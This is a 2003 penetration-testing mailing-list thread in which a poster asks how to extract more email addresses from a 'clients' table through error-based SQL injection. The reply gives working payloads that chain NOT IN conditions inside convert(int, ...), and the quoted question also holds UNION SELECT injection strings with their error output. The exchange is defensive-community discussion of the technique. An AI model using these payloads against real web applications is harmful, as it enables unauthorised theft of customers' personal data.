Re: SQL injection - get more values

["Kevin Spett" <kspett () spidynamics com>]

A similar situation is covered in my paper at
http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf

Basically, you should use the NOT IN to get the other values.  In this case,
you'd start like this:

' %2b convert(int, (SELECT email FROM clients WHERE email NOT IN
('anon () isp com'))) %2b '

And then the next one would be:

' %2b convert(int, (SELECT email FROM clients WHERE email NOT IN
('anon () isp com', 'secondemail () isp com'))) %2b '

And so on...


Kevin Spett
SPI Labs
http://www.spidynamics.com/

----- Original Message -----
From: "Daniel Savi" <dss () brturbo com>
To: <pen-test () securityfocus com>
Sent: Wednesday, February 12, 2003 12:48 PM
Subject: SQL injection - get more values


> Hi :)
>
> i'm trying to get some info from clients table and email field....
>
> i try this param into gubpage.asp?=...
> ') union select sum(email) from clients--
> and got error about all queries needed...so, i tryed to solve with
> ') union select sum(email),1,1,1.... from clients--
> until i get: operand type clash: text is incompatible with int
>
> i found this answer into this forum (thanks :)), was:
> ' %2b convert(int, (SELECT email FROM clients WHERE email > 'a')) %2b '
>
> i got this:
> Syntax error converting the varchar value 'anon () isp com' to a column of
> data type int
>
> Now, my problem: How can i get other e-mail from table knowing one valid
> value?
>
> i try this
> ' %2b convert(int, (SELECT email FROM clients WHERE email
> > 'anon () isp com')) %2b '
> but no success
>
> i think i can use NOT iN, but not sure how to use with convert...
>
> Any tip are welcome!
>
> Thanks
>
> --------------------------------------------------------------------------
--
> This list is provided by the SecurityFocus Security Intelligence Alert
(SIA)
> Service. For more information on SecurityFocus' SIA service which
> automatically alerts you to the latest security vulnerabilities please
see:
> https://alerts.securityfocus.com/


----------------------------------------------------------------------------
This list is provided by the SecurityFocus Security Intelligence Alert (SIA)
Service. For more information on SecurityFocus' SIA service which
automatically alerts you to the latest security vulnerabilities please see:
https://alerts.securityfocus.com/